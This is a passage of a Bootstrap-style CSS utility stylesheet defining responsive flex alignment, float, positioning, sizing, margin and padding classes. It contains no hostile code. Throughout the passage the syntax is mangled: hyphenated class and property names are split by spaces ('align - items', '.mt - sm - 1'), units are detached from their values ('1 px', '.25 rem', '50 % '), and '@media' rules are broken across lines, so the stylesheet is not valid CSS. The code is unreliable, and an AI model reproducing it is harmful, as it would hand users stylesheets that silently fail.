        align - items: baseline!important
    }

    .align - items - sm - stretch {
        -webkit - box - align: stretch!important; - ms - flex - align: stretch!important;
        align - items: stretch!important
    }

    .align - content - sm - start {
        -ms - flex - line - pack: start!important;
        align - content: flex - start!important
    }

    .align - content - sm - end {
        -ms - flex - line - pack: end!important;
        align - content: flex - end!important
    }

    .align - content - sm - center {
        -ms - flex - line - pack: center!important;
        align - content: center!important
    }

    .align - content - sm - between {
        -ms - flex - line - pack: justify!important;
        align - content: space - between!important
    }

    .align - content - sm - around {
        -ms - flex - line - pack: distribute!important;
        align - content: space - around!important
    }

    .align - content - sm - stretch {
        -ms - flex - line - pack: stretch!important;
        align - content: stretch!important
    }

    .align - self - sm - auto {
        -ms - flex - item - align: auto!important;
        align - self: auto!important
    }

    .align - self - sm - start {
        -ms - flex - item - align: start!important;
        align - self: flex - start!important
    }

    .align - self - sm - end {
        -ms - flex - item - align: end!important;
        align - self: flex - end!important
    }

    .align - self - sm - center {
        -ms - flex - item - align: center!important;
        align - self: center!important
    }

    .align - self - sm - baseline {
        -ms - flex - item - align: baseline!important;
        align - self: baseline!important
    }

    .align - self - sm - stretch {
        -ms - flex - item - align: stretch!important;
        align - self: stretch!important
    }
}

@
media(min - width: 768 px) {
    .flex - md - row {
        -webkit - box - orient: horizontal!important; - webkit - box - direction: normal!important; - ms - flex - direction: row!important;
        flex - direction: row!important
    }

    .flex - md - column {
        -webkit - box - orient: vertical!important; - webkit - box - direction: normal!important; - ms - flex - direction: column!important;
        flex - direction: column!important
    }

    .flex - md - row - reverse {
        -webkit - box - orient: horizontal!important; - webkit - box - direction: reverse!important; - ms - flex - direction: row - reverse!important;
        flex - direction: row - reverse!important
    }

    .flex - md - column - reverse {
        -webkit - box - orient: vertical!important; - webkit - box - direction: reverse!important; - ms - flex - direction: column - reverse!important;
        flex - direction: column - reverse!important
    }

    .flex - md - wrap {
        -ms - flex - wrap: wrap!important;
        flex - wrap: wrap!important
    }

    .flex - md - nowrap {
        -ms - flex - wrap: nowrap!important;
        flex - wrap: nowrap!important
    }

    .flex - md - wrap - reverse {
        -ms - flex - wrap: wrap - reverse!important;
        flex - wrap: wrap - reverse!important
    }

    .justify - content - md - start {
        -webkit - box - pack: start!important; - ms - flex - pack: start!important;
        justify - content: flex - start!important
    }

    .justify - content - md - end {
        -webkit - box - pack: end!important; - ms - flex - pack: end!important;
        justify - content: flex - end!important
    }

    .justify - content - md - center {
        -webkit - box - pack: center!important; - ms - flex - pack: center!important;
        justify - content: center!important
    }

    .justify - content - md - between {
        -webkit - box - pack: justify!important; - ms - flex - pack: justify!important;
        justify - content: space - between!important
    }

    .justify - content - md - around {
        -ms - flex - pack: distribute!important;
        justify - content: space - around!important
    }

    .align - items - md - start {
        -webkit - box - align: start!important; - ms - flex - align: start!important;
        align - items: flex - start!important
    }

    .align - items - md - end {
        -webkit - box - align: end!important; - ms - flex - align: end!important;
        align - items: flex - end!important
    }

    .align - items - md - center {
        -webkit - box - align: center!important; - ms - flex - align: center!important;
        align - items: center!important
    }

    .align - items - md - baseline {
        -webkit - box - align: baseline!important; - ms - flex - align: baseline!important;
        align - items: baseline!important
    }

    .align - items - md - stretch {
        -webkit - box - align: stretch!important; - ms - flex - align: stretch!important;
        align - items: stretch!important
    }

    .align - content - md - start {
        -ms - flex - line - pack: start!important;
        align - content: flex - start!important
    }

    .align - content - md - end {
        -ms - flex - line - pack: end!important;
        align - content: flex - end!important
    }

    .align - content - md - center {
        -ms - flex - line - pack: center!important;
        align - content: center!important
    }

    .align - content - md - between {
        -ms - flex - line - pack: justify!important;
        align - content: space - between!important
    }

    .align - content - md - around {
        -ms - flex - line - pack: distribute!important;
        align - content: space - around!important
    }

    .align - content - md - stretch {
        -ms - flex - line - pack: stretch!important;
        align - content: stretch!important
    }

    .align - self - md - auto {
        -ms - flex - item - align: auto!important;
        align - self: auto!important
    }

    .align - self - md - start {
        -ms - flex - item - align: start!important;
        align - self: flex - start!important
    }

    .align - self - md - end {
        -ms - flex - item - align: end!important;
        align - self: flex - end!important
    }

    .align - self - md - center {
        -ms - flex - item - align: center!important;
        align - self: center!important
    }

    .align - self - md - baseline {
        -ms - flex - item - align: baseline!important;
        align - self: baseline!important
    }

    .align - self - md - stretch {
        -ms - flex - item - align: stretch!important;
        align - self: stretch!important
    }
}

@
media(min - width: 992 px) {
    .flex - lg - row {
        -webkit - box - orient: horizontal!important; - webkit - box - direction: normal!important; - ms - flex - direction: row!important;
        flex - direction: row!important
    }

    .flex - lg - column {
        -webkit - box - orient: vertical!important; - webkit - box - direction: normal!important; - ms - flex - direction: column!important;
        flex - direction: column!important
    }

    .flex - lg - row - reverse {
        -webkit - box - orient: horizontal!important; - webkit - box - direction: reverse!important; - ms - flex - direction: row - reverse!important;
        flex - direction: row - reverse!important
    }

    .flex - lg - column - reverse {
        -webkit - box - orient: vertical!important; - webkit - box - direction: reverse!important; - ms - flex - direction: column - reverse!important;
        flex - direction: column - reverse!important
    }

    .flex - lg - wrap {
        -ms - flex - wrap: wrap!important;
        flex - wrap: wrap!important
    }

    .flex - lg - nowrap {
        -ms - flex - wrap: nowrap!important;
        flex - wrap: nowrap!important
    }

    .flex - lg - wrap - reverse {
        -ms - flex - wrap: wrap - reverse!important;
        flex - wrap: wrap - reverse!important
    }

    .justify - content - lg - start {
        -webkit - box - pack: start!important; - ms - flex - pack: start!important;
        justify - content: flex - start!important
    }

    .justify - content - lg - end {
        -webkit - box - pack: end!important; - ms - flex - pack: end!important;
        justify - content: flex - end!important
    }

    .justify - content - lg - center {
        -webkit - box - pack: center!important; - ms - flex - pack: center!important;
        justify - content: center!important
    }

    .justify - content - lg - between {
        -webkit - box - pack: justify!important; - ms - flex - pack: justify!important;
        justify - content: space - between!important
    }

    .justify - content - lg - around {
        -ms - flex - pack: distribute!important;
        justify - content: space - around!important
    }

    .align - items - lg - start {
        -webkit - box - align: start!important; - ms - flex - align: start!important;
        align - items: flex - start!important
    }

    .align - items - lg - end {
        -webkit - box - align: end!important; - ms - flex - align: end!important;
        align - items: flex - end!important
    }

    .align - items - lg - center {
        -webkit - box - align: center!important; - ms - flex - align: center!important;
        align - items: center!important
    }

    .align - items - lg - baseline {
        -webkit - box - align: baseline!important; - ms - flex - align: baseline!important;
        align - items: baseline!important
    }

    .align - items - lg - stretch {
        -webkit - box - align: stretch!important; - ms - flex - align: stretch!important;
        align - items: stretch!important
    }

    .align - content - lg - start {
        -ms - flex - line - pack: start!important;
        align - content: flex - start!important
    }

    .align - content - lg - end {
        -ms - flex - line - pack: end!important;
        align - content: flex - end!important
    }

    .align - content - lg - center {
        -ms - flex - line - pack: center!important;
        align - content: center!important
    }

    .align - content - lg - between {
        -ms - flex - line - pack: justify!important;
        align - content: space - between!important
    }

    .align - content - lg - around {
        -ms - flex - line - pack: distribute!important;
        align - content: space - around!important
    }

    .align - content - lg - stretch {
        -ms - flex - line - pack: stretch!important;
        align - content: stretch!important
    }

    .align - self - lg - auto {
        -ms - flex - item - align: auto!important;
        align - self: auto!important
    }

    .align - self - lg - start {
        -ms - flex - item - align: start!important;
        align - self: flex - start!important
    }

    .align - self - lg - end {
        -ms - flex - item - align: end!important;
        align - self: flex - end!important
    }

    .align - self - lg - center {
        -ms - flex - item - align: center!important;
        align - self: center!important
    }

    .align - self - lg - baseline {
        -ms - flex - item - align: baseline!important;
        align - self: baseline!important
    }

    .align - self - lg - stretch {
        -ms - flex - item - align: stretch!important;
        align - self: stretch!important
    }
}

@
media(min - width: 1200 px) {
    .flex - xl - row {
        -webkit - box - orient: horizontal!important; - webkit - box - direction: normal!important; - ms - flex - direction: row!important;
        flex - direction: row!important
    }

    .flex - xl - column {
        -webkit - box - orient: vertical!important; - webkit - box - direction: normal!important; - ms - flex - direction: column!important;
        flex - direction: column!important
    }

    .flex - xl - row - reverse {
        -webkit - box - orient: horizontal!important; - webkit - box - direction: reverse!important; - ms - flex - direction: row - reverse!important;
        flex - direction: row - reverse!important
    }

    .flex - xl - column - reverse {
        -webkit - box - orient: vertical!important; - webkit - box - direction: reverse!important; - ms - flex - direction: column - reverse!important;
        flex - direction: column - reverse!important
    }

    .flex - xl - wrap {
        -ms - flex - wrap: wrap!important;
        flex - wrap: wrap!important
    }

    .flex - xl - nowrap {
        -ms - flex - wrap: nowrap!important;
        flex - wrap: nowrap!important
    }

    .flex - xl - wrap - reverse {
        -ms - flex - wrap: wrap - reverse!important;
        flex - wrap: wrap - reverse!important
    }

    .justify - content - xl - start {
        -webkit - box - pack: start!important; - ms - flex - pack: start!important;
        justify - content: flex - start!important
    }

    .justify - content - xl - end {
        -webkit - box - pack: end!important; - ms - flex - pack: end!important;
        justify - content: flex - end!important
    }

    .justify - content - xl - center {
        -webkit - box - pack: center!important; - ms - flex - pack: center!important;
        justify - content: center!important
    }

    .justify - content - xl - between {
        -webkit - box - pack: justify!important; - ms - flex - pack: justify!important;
        justify - content: space - between!important
    }

    .justify - content - xl - around {
        -ms - flex - pack: distribute!important;
        justify - content: space - around!important
    }

    .align - items - xl - start {
        -webkit - box - align: start!important; - ms - flex - align: start!important;
        align - items: flex - start!important
    }

    .align - items - xl - end {
        -webkit - box - align: end!important; - ms - flex - align: end!important;
        align - items: flex - end!important
    }

    .align - items - xl - center {
        -webkit - box - align: center!important; - ms - flex - align: center!important;
        align - items: center!important
    }

    .align - items - xl - baseline {
        -webkit - box - align: baseline!important; - ms - flex - align: baseline!important;
        align - items: baseline!important
    }

    .align - items - xl - stretch {
        -webkit - box - align: stretch!important; - ms - flex - align: stretch!important;
        align - items: stretch!important
    }

    .align - content - xl - start {
        -ms - flex - line - pack: start!important;
        align - content: flex - start!important
    }

    .align - content - xl - end {
        -ms - flex - line - pack: end!important;
        align - content: flex - end!important
    }

    .align - content - xl - center {
        -ms - flex - line - pack: center!important;
        align - content: center!important
    }

    .align - content - xl - between {
        -ms - flex - line - pack: justify!important;
        align - content: space - between!important
    }

    .align - content - xl - around {
        -ms - flex - line - pack: distribute!important;
        align - content: space - around!important
    }

    .align - content - xl - stretch {
        -ms - flex - line - pack: stretch!important;
        align - content: stretch!important
    }

    .align - self - xl - auto {
        -ms - flex - item - align: auto!important;
        align - self: auto!important
    }

    .align - self - xl - start {
        -ms - flex - item - align: start!important;
        align - self: flex - start!important
    }

    .align - self - xl - end {
        -ms - flex - item - align: end!important;
        align - self: flex - end!important
    }

    .align - self - xl - center {
        -ms - flex - item - align: center!important;
        align - self: center!important
    }

    .align - self - xl - baseline {
        -ms - flex - item - align: baseline!important;
        align - self: baseline!important
    }

    .align - self - xl - stretch {
        -ms - flex - item - align: stretch!important;
        align - self: stretch!important
    }
}

.float - left {
    float: left!important
}

.float - right {
    float: right!important
}

.float - none {
    float: none!important
}

@
media(min - width: 576 px) {
    .float - sm - left {
        float: left!important
    }

    .float - sm - right {
        float: right!important
    }

    .float - sm - none {
        float: none!important
    }
}

@
media(min - width: 768 px) {
    .float - md - left {
        float: left!important
    }

    .float - md - right {
        float: right!important
    }

    .float - md - none {
        float: none!important
    }
}

@
media(min - width: 992 px) {
    .float - lg - left {
        float: left!important
    }

    .float - lg - right {
        float: right!important
    }

    .float - lg - none {
        float: none!important
    }
}

@
media(min - width: 1200 px) {
    .float - xl - left {
        float: left!important
    }

    .float - xl - right {
        float: right!important
    }

    .float - xl - none {
        float: none!important
    }
}

.position - static {
    position: static!important
}

.position - relative {
    position: relative!important
}

.position - absolute {
    position: absolute!important
}

.position - fixed {
    position: fixed!important
}

.position - sticky {
    position: -webkit - sticky!important;
    position: sticky!important
}

.fixed - top {
    position: fixed;
    top: 0;
    right: 0;
    left: 0;
    z - index: 1030
}

.fixed - bottom {
    position: fixed;
    right: 0;
    bottom: 0;
    left: 0;
    z - index: 1030
}

@
supports((position: -webkit - sticky) or(position: sticky)) {
    .sticky - top {
        position: -webkit - sticky;
        position: sticky;
        top: 0;
        z - index: 1020
    }
}

.sr - only {
    position: absolute;
    width: 1 px;
    height: 1 px;
    padding: 0;
    overflow: hidden;
    clip: rect(0, 0, 0, 0);
    white - space: nowrap; - webkit - clip - path: inset(50 % );
    clip - path: inset(50 % );
    border: 0
}

.sr - only - focusable: active,
    .sr - only - focusable: focus {
        position: static;
        width: auto;
        height: auto;
        overflow: visible;
        clip: auto;
        white - space: normal; - webkit - clip - path: none;
        clip - path: none
    }

.w - 25 {
    width: 25 % !important
}

.w - 50 {
    width: 50 % !important
}

.w - 75 {
    width: 75 % !important
}

.w - 100 {
    width: 100 % !important
}

.h - 25 {
    height: 25 % !important
}

.h - 50 {
    height: 50 % !important
}

.h - 75 {
    height: 75 % !important
}

.h - 100 {
    height: 100 % !important
}

.mw - 100 {
    max - width: 100 % !important
}

.mh - 100 {
    max - height: 100 % !important
}

.m - 0 {
    margin: 0!important
}

.mt - 0,
    .my - 0 {
        margin - top: 0!important
    }

.mr - 0,
    .mx - 0 {
        margin - right: 0!important
    }

.mb - 0,
    .my - 0 {
        margin - bottom: 0!important
    }

.ml - 0,
    .mx - 0 {
        margin - left: 0!important
    }

.m - 1 {
    margin: .25 rem!important
}

.mt - 1,
    .my - 1 {
        margin - top: .25 rem!important
    }

.mr - 1,
    .mx - 1 {
        margin - right: .25 rem!important
    }

.mb - 1,
    .my - 1 {
        margin - bottom: .25 rem!important
    }

.ml - 1,
    .mx - 1 {
        margin - left: .25 rem!important
    }

.m - 2 {
    margin: .5 rem!important
}

.mt - 2,
    .my - 2 {
        margin - top: .5 rem!important
    }

.mr - 2,
    .mx - 2 {
        margin - right: .5 rem!important
    }

.mb - 2,
    .my - 2 {
        margin - bottom: .5 rem!important
    }

.ml - 2,
    .mx - 2 {
        margin - left: .5 rem!important
    }

.m - 3 {
    margin: 1 rem!important
}

.mt - 3,
    .my - 3 {
        margin - top: 1 rem!important
    }

.mr - 3,
    .mx - 3 {
        margin - right: 1 rem!important
    }

.mb - 3,
    .my - 3 {
        margin - bottom: 1 rem!important
    }

.ml - 3,
    .mx - 3 {
        margin - left: 1 rem!important
    }

.m - 4 {
    margin: 1.5 rem!important
}

.mt - 4,
    .my - 4 {
        margin - top: 1.5 rem!important
    }

.mr - 4,
    .mx - 4 {
        margin - right: 1.5 rem!important
    }

.mb - 4,
    .my - 4 {
        margin - bottom: 1.5 rem!important
    }

.ml - 4,
    .mx - 4 {
        margin - left: 1.5 rem!important
    }

.m - 5 {
    margin: 3 rem!important
}

.mt - 5,
    .my - 5 {
        margin - top: 3 rem!important
    }

.mr - 5,
    .mx - 5 {
        margin - right: 3 rem!important
    }

.mb - 5,
    .my - 5 {
        margin - bottom: 3 rem!important
    }

.ml - 5,
    .mx - 5 {
        margin - left: 3 rem!important
    }

.p - 0 {
    padding: 0!important
}

.pt - 0,
    .py - 0 {
        padding - top: 0!important
    }

.pr - 0,
    .px - 0 {
        padding - right: 0!important
    }

.pb - 0,
    .py - 0 {
        padding - bottom: 0!important
    }

.pl - 0,
    .px - 0 {
        padding - left: 0!important
    }

.p - 1 {
    padding: .25 rem!important
}

.pt - 1,
    .py - 1 {
        padding - top: .25 rem!important
    }

.pr - 1,
    .px - 1 {
        padding - right: .25 rem!important
    }

.pb - 1,
    .py - 1 {
        padding - bottom: .25 rem!important
    }

.pl - 1,
    .px - 1 {
        padding - left: .25 rem!important
    }

.p - 2 {
    padding: .5 rem!important
}

.pt - 2,
    .py - 2 {
        padding - top: .5 rem!important
    }

.pr - 2,
    .px - 2 {
        padding - right: .5 rem!important
    }

.pb - 2,
    .py - 2 {
        padding - bottom: .5 rem!important
    }

.pl - 2,
    .px - 2 {
        padding - left: .5 rem!important
    }

.p - 3 {
    padding: 1 rem!important
}

.pt - 3,
    .py - 3 {
        padding - top: 1 rem!important
    }

.pr - 3,
    .px - 3 {
        padding - right: 1 rem!important
    }

.pb - 3,
    .py - 3 {
        padding - bottom: 1 rem!important
    }

.pl - 3,
    .px - 3 {
        padding - left: 1 rem!important
    }

.p - 4 {
    padding: 1.5 rem!important
}

.pt - 4,
    .py - 4 {
        padding - top: 1.5 rem!important
    }

.pr - 4,
    .px - 4 {
        padding - right: 1.5 rem!important
    }

.pb - 4,
    .py - 4 {
        padding - bottom: 1.5 rem!important
    }

.pl - 4,
    .px - 4 {
        padding - left: 1.5 rem!important
    }

.p - 5 {
    padding: 3 rem!important
}

.pt - 5,
    .py - 5 {
        padding - top: 3 rem!important
    }

.pr - 5,
    .px - 5 {
        padding - right: 3 rem!important
    }

.pb - 5,
    .py - 5 {
        padding - bottom: 3 rem!important
    }

.pl - 5,
    .px - 5 {
        padding - left: 3 rem!important
    }

.m - auto {
    margin: auto!important
}

.mt - auto,
    .my - auto {
        margin - top: auto!important
    }

.mr - auto,
    .mx - auto {
        margin - right: auto!important
    }

.mb - auto,
    .my - auto {
        margin - bottom: auto!important
    }

.ml - auto,
    .mx - auto {
        margin - left: auto!important
    }

@
media(min - width: 576 px) {
    .m - sm - 0 {
        margin: 0!important
    }

    .mt - sm - 0,
        .my - sm - 0 {
            margin - top: 0!important
        }

    .mr - sm - 0,
        .mx - sm - 0 {
            margin - right: 0!important
        }

    .mb - sm - 0,
        .my - sm - 0 {
            margin - bottom: 0!important
        }

    .ml - sm - 0,
        .mx - sm - 0 {
            margin - left: 0!important
        }

    .m - sm - 1 {
        margin: .25 rem!important
    }

    .mt - sm - 1,
        .my - sm - 1 {
            margin - top: .25 rem!important
        }

    .mr - sm - 1,
        .mx - sm - 1 {
            margin - right: .25 rem!important
        }

    .mb - sm - 1,
        .my - sm - 1 {
            margin - bottom: .25 rem!important
        }

    .ml - sm - 1,
        .mx - sm - 1 {
            margin - left: .25 rem!important
        }

    .m - sm - 2 {
        margin: .5 rem!important
    }

    .mt - sm - 2,
        .my - sm - 2 {
            margin - top: .5 rem!important
        }

    .mr - sm - 2,
        .mx - sm - 2 {
            margin - right: .5 rem!important
        }

    .mb - sm - 2,
        .my - sm - 2 {
            margin - bottom: .5 rem!important
        }

    .ml - sm - 2,
        .mx - sm - 2 {
            margin - left: .5 rem!important
        }

    .m - sm - 3 {
        margin: 1 rem!important
    }

    .mt - sm - 3,
        .my - sm - 3 {
            margin - top: 1 rem!important
        }

    .mr - sm - 3,
        .mx - sm - 3 {
            margin - right: 1 rem!important
        }

    .mb - sm - 3,
        .my - sm - 3 {
            margin - bottom: 1 rem!important
        }

    .ml - sm - 3,
        .mx - sm - 3 {
            margin - left: 1 rem!important
        }

    .m - sm - 4 {
        margin: 1.5 rem!important
    }

    .mt - sm - 4,
        .my - sm - 4 {
            margin - top: 1.5 rem!important
        }

    .mr - sm - 4,
        .mx - sm - 4 {
            margin - right: 1.5 rem!important
        }

    .mb - sm - 4,
        .my - sm - 4 {
            margin - bottom: 1.5 rem!important
        }

    .ml - sm - 4,
        .mx - sm - 4 {
            margin - left: 1.5 rem!important
        }

    .m - sm - 5 {
        margin: 3 rem!important
    }

    .mt - sm - 5,
        .my - sm - 5 {
            margin - top: 3 rem!important
        }

    .mr - sm - 5,
        .mx - sm - 5 {
            margin - right: 3 rem!important
        }

    .mb - sm - 5,
        .my - sm - 5 {
            margin - bottom: 3 rem!important
        }

    .ml - sm - 5,
        .mx - sm - 5 {
            margin - left: 3 rem!important
        }

    .p - sm - 0 {
        padding: 0!important
    }

    .pt - sm - 0,
        .py - sm - 0 {
            padding - top: 0!important
        }

    .pr - sm - 0,
        .px - sm - 0 {
            padding - right: 0!important
        }

    .pb - sm - 0,
        .py - sm - 0 {
            padding - bottom: 0!important
        }

    .pl - sm - 0,
        .px - sm - 0 {
            padding - left: 0!important
        }

    .p - sm - 1 {
        padding: .25 rem!important
    }

    .pt - sm - 1,
        .py - sm - 1 {
            padding - top: .25 rem!important
        }

    .pr - sm - 1,
        .px - sm - 1 {
            padding - right: .25 rem!important
        }

    .pb - sm - 1,
        .py - sm - 1 {
            padding - bottom: .25 rem!important
        }

    .pl - sm - 1,
        .px - sm - 1 {
            padding - left: .25 rem!important
        }

    .p - sm - 2 {
        padding: .5 rem!important
    }

    .pt - sm - 2,
        .py - sm - 2 {
            padding - top: .5 rem!important
        }

    .pr - sm - 2,
        .px - sm - 2 {
            padding - right: .5 rem!important
        }

    .pb - sm - 2,
        .py - sm - 2 {
            padding - bottom: .5 rem!important
        }

    .pl - sm - 2,
        .px - sm - 2 {
            padding - left: .5 rem!important
        }

    .p - sm - 3 {
        padding: 1 rem!important
    }

    .pt - sm - 3,
        .py - sm - 3 {
            padding - top: 1 rem!important
        }

    .pr - sm - 3,
        .px - sm - 3 {
            padding - right: 1 rem!important
        }

    .pb - sm - 3,
        .py - sm - 3 {
            padding - bottom: 1 rem!important
        }

    .pl - sm - 3,
        .px - sm - 3 {
            padding - left: 1 rem!important
        }

    .p - sm - 4 {
        padding: 1.5 rem!important
    }

    .pt - sm - 4,
        .py - sm - 4 {
            padding - top: 1.5 rem!important
        }

    .pr - sm - 4,
        .px - sm - 4 {
            padding - right: 1.5 rem!important
        }

    .pb - sm - 4,
        .py - sm - 4 {
            padding - bottom: 1.5 rem!important
        }

    .pl - sm - 4,
        .px - sm - 4 {
            padding - left: 1.5 rem!important
        }

    .p - sm - 5 {
        padding: 3 rem!important
    }

    .pt - sm - 5,
        .py - sm - 5 {
            padding - top: 3 rem!important
        }

    .pr - sm - 5,
        .px - sm - 5 {
            padding - right: 3 rem!important
        }

    .pb - sm - 5,
        .py - sm - 5 {
            padding - bottom: 3 rem!important
        }

    .pl - sm - 5,
        .px - sm - 5 {
            padding - left: 3 rem!important
        }

    .m - sm - auto {
        margin: auto!important
    }

    .mt - sm - auto,
        .my - sm - auto {
            margin - top: auto!important
        }

    .mr - sm - auto,
        .mx - sm - auto {
            margin - right: auto!important
        }

    .mb - sm - auto,
        .my - sm - auto {
            margin - bottom: auto!important
        }

    .ml - sm - auto,
        .mx - sm - auto {
            margin - left: auto!important
        }
}

@
media(min - width: 768 px) {
    .m - md - 0 {
        margin: 0!important
    }

    .mt - md - 0,
        .my - md - 0 {
            margin - top: 0!important
        }

    .mr - md - 0,
        .mx - md - 0 {
            margin - right: 0!important
        }

    .mb - md - 0,
        .my - md - 0 {
            margin - bottom: 0!important
        }

    .ml - md - 0,
        .mx - md - 0 {
            margin - left: 0!important
        }

    .m - md - 1 {
        margin: .25 rem!important
    }

    .mt - md - 1,
        .my - md - 1 {
            margin - top: .25 rem!important
        }

    .mr - md - 1,
        .mx - md - 1 {
            margin - right: .25 rem!important
        }

    .mb - md - 1,
        .my - md - 1 {
            margin - bottom: .25 rem!important
        }

    .ml - md - 1,
        .mx - md - 1 {
            margin - left: .25 rem!important
        }

    .m - md - 2 {
        margin: .5 rem!important
    }

    .mt - md - 2,
        .my - md - 2 {
            margin - top: .5 rem!important
        }

    .mr - md - 2,
        .mx - md - 2 {
            margin - right: .5 rem!important
        }

    .mb - md - 2,
        .my - md - 2 {
            margin - bottom: .5 rem!important
        }

    .ml - md - 2,
        .mx - md - 2 {
            margin - left: .5 rem!important
        }

    .m - md - 3 {
        margin: 1 rem!important
    }

    .mt - md - 3,
        .my - md - 3 {
            margin - top: 1 rem!important
        }

    .mr - md - 3,
        .mx - md - 3 {
            margin - right: 1 rem!important
        }

    .mb - md - 3,
        .my - md - 3 {
            margin - bottom: 1 rem!important
        }

    .ml - md - 3,
        .mx - md - 3 {
            margin - left: 1 rem!important
        }

    .m - md - 4 {
        margin: 1.5 rem!important
    }

    .mt - md - 4,
        .my - md - 4 {
            margin - top: 1.5 rem!important
        }

    .mr - md - 4,
        .mx - md - 4 {
            margin - right: 1.5 rem!important
        }

    .mb - md - 4,
        .my - md - 4 {
            margin - bottom: 1.5 rem!important
        }

    .ml - md - 4,
        .mx - md - 4 {
            margin - left: 1.5 rem!important
        }

    .m - md - 5 {
        margin: 3 rem!important
    }

    .mt - md - 5,
        .my - md - 5 {
            margin - top: 3 rem!important
        }

    .mr - md - 5,
        .mx - md - 5 {
            margin - right: 3 rem!important
        }

    .mb - md - 5,
        .my - md - 5 {
            margin - bottom: 3 rem!important
        }

    .ml - md - 5,
        .mx - md - 5 {
            margin - left: 3 rem!important
        }

    .p - md - 0 {
        padding: 0!important
    }

    .pt - md - 0,
        .py - md - 0 {
            padding - top: 0!important
        }

    .pr - md - 0,
        .px - md - 0 {
            padding - right: 0!important
        }

    .pb - md - 0,
        .py - md - 0 {
            padding - bottom: 0!important
        }

    .pl - md - 0,
        .px - md - 0 {
            padding - left: 0!important
        }

    .p - md - 1 {
        padding: .25 rem!important
    }

    .pt - md - 1,
        .py - md - 1 {
            padding - top: .25 rem!important
        }

    .pr - md - 1,
        .px - md - 1 {
            padding - right: .25 rem!important
        }

    .pb - md - 1,
        .py - md - 1 {
            padding - bottom: .25 rem!important
        }

    .pl - md - 1,
        .px - md - 1 {
            padding - left: .25 rem!important
        }

    .p - md - 2 {
        padding: .5 rem!important
    }

    .pt - md - 2,
        .py - md - 2 {
            padding - top: .5 rem!important
        }

    .pr - md - 2,
        .px - md - 2 {
            padding - right: .5 rem!important
        }

    .pb - md - 2,
        .py - md - 2 {
            padding - bottom: .5 rem!important
        }

    .pl - md - 2,
        .px - md - 2 {
            padding - left: .5 rem!important
        }

    .p - md - 3 {
        padding: 1 rem!important
    }

    .pt - md - 3,
        .py - md - 3 {
            padding - top: 1 rem!important
        }

    .pr - md - 3,
        .px - md - 3 {
            padding - right: 1 rem!important
        }

    .pb - md - 3,
        .py - md - 3 {
            padding - bottom: 1 rem!important
        }

    .pl - md - 3,
        .px - md - 3 {
            padding - left: 1 rem!important
        }

    .p - md - 4 {
        padding: 1.5 rem!important
    }

    .pt - md - 4,
        .py - md - 4 {
            padding - top: 1.5 rem!important
        }

    .pr - md - 4,
        .px - md - 4 {
            padding - right: 1.5 rem!important
        }

    .pb - md - 4,
        .py - md - 4 {
            padding - bottom: 1.5 rem!important
        }

    .pl - md - 4,
        .px - md - 4 {
            padding - left: 1.5 rem!important
        }

    .p - md - 5 {
        padding: 3 rem!important
    }

    .pt - md - 5,
        .py - md - 5 {
            padding - top: 3 rem!important
        }

    .pr - md - 5,
        .px - md - 5 {
            padding - right: 3 rem!important
        }

    .pb - md - 5,
        .py - md - 5 {
            padding - bottom: 3 rem!important
        }

    .pl - md - 5,
        .px - md - 5 {
            padding - left: 3 rem!important
        }

    .m - md - auto {
        margin: auto!important
    }

    .mt - md - auto,
        .my - md - auto {
            margin - top: auto!important
        }

    .mr - md - auto,
        .mx - md - auto {
            margin - right: auto!important
        }

    .mb - md - auto,
        .my - md - auto {
            margin - bottom: auto!important
        }

    .ml - md - auto,
        .mx - md - auto {
            margin - left: auto!important
        }
}

@
media(min - width: 992 px) {
    .m - lg - 0 {
        margin: 0!important
    }

    .mt - lg - 0,
        .my - lg - 0 {
            margin - top: 0!important
        }

    .mr - lg - 0,
        .mx - lg - 0 {
            margin - right: 0!important
        }

    .mb - lg - 0,
        .my - lg - 0 {
            margin - bottom: 0!important
        }

    .ml - lg - 0,
        .mx - lg - 0 {
            margin - left: 0!important
        }

    .m - lg - 1 {
        margin: .25 rem!important
    }

    .mt - lg - 1,
        .my - lg - 1 {
            margin - top: .25 rem!important
        }

    .mr - lg - 1,
        .mx - lg - 1 {
            margin - right: .25 rem!important
        }

    .mb - lg - 1,
        .my - lg - 1 {
            margin - bottom: .25 rem!important
        }

    .ml - lg - 1,
        .mx - lg - 1 {
            margin - left: .25 rem!important
        }

    .m - lg - 2 {
        margin: .5 rem!important
    }

    .mt - lg - 2,
        .my - lg - 2 {
            margin - top: .5 rem!important
        }

    .mr - lg - 2,
        .mx - lg - 2 {
            margin - right: .5 rem!important
        }

    .mb - lg - 2,
        .my - lg - 2 {
            margin - bottom: .5 rem!important
        }

    .ml - lg - 2,
        .mx - lg - 2 {
            margin - left: .5 rem!important
        }

    .m - lg - 3 {
        margin: 1 rem!important
    }

    .mt - lg - 3,
        .my - lg - 3 {
            margin - top: 1 rem!important
        }

    .mr - lg - 3,
        .mx - lg - 3 {
            margin - right: 1 rem!important
        }

    .mb - lg - 3,
        .my - lg - 3 {
            margin - bottom: 1 rem!important
        }

    .ml - lg - 3,
        .mx - lg - 3 {
            margin - left: 1 rem!important
        }

    .m - lg - 4 {
        margin: 1.5 rem!important
    }

    .mt - lg - 4,
        .my - lg - 4 {
            margin - top: 1.5 rem!important
        }

    .mr - lg - 4,
        .mx - lg - 4 {
            margin - right: 1.5 rem!important
        }

    .mb - lg - 4,
        .my - lg - 4 {
            margin - bottom: 1.5 rem!important
        }

    .ml - lg - 4,
        .mx - lg - 4 {
            margin - left: 1.5 rem!important
        }

    .m - lg - 5 {
        margin: 3 rem!important
    }

    .mt - lg - 5,
        .my - lg - 5 {
            margin - top: 3 rem!important
        }

    .mr - lg - 5,
        .mx - lg - 5 {
            margin - right: 3 rem!important
        }

    .mb - lg - 5,
        .my - lg - 5 {
            margin - bottom: 3 rem!important
        }

    .ml - lg - 5,
        .mx - lg - 5 {
            margin - left: 3 rem!important
        }

    .p - lg - 0 {
        padding: 0!important
    }

    .pt - lg - 0,
        .py - lg - 0 {
            padding - top: 0!important
        }

    .pr - lg - 0,
        .px - lg - 0 {
            padding - right: 0!important
        }

    .pb - lg - 0,
        .py - lg - 0 {
            padding - bottom: 0!important
        }

    .pl - lg - 0,
        .px - lg - 0 {
            padding - left: 0!important
        }

    .p - lg - 1 {
        padding: .25 rem!important
    }

    .pt - lg - 1,
        .py - lg - 1 {
            padding - top: .25 rem!important
        }

    .pr - lg - 1,
        .px - lg - 1 {
            padding - right: .25 rem!important
        }

    .pb - lg - 1,
        .py - lg - 1 {
            padding - bottom: .25 rem!important
        }

    .pl - lg - 1,
        .px - lg - 1 {
            padding - left: .25 rem!important
        }

    .p - lg - 2 {
        padding: .5 rem!important
    }

    .pt - lg - 2,
        .py - lg - 2 {
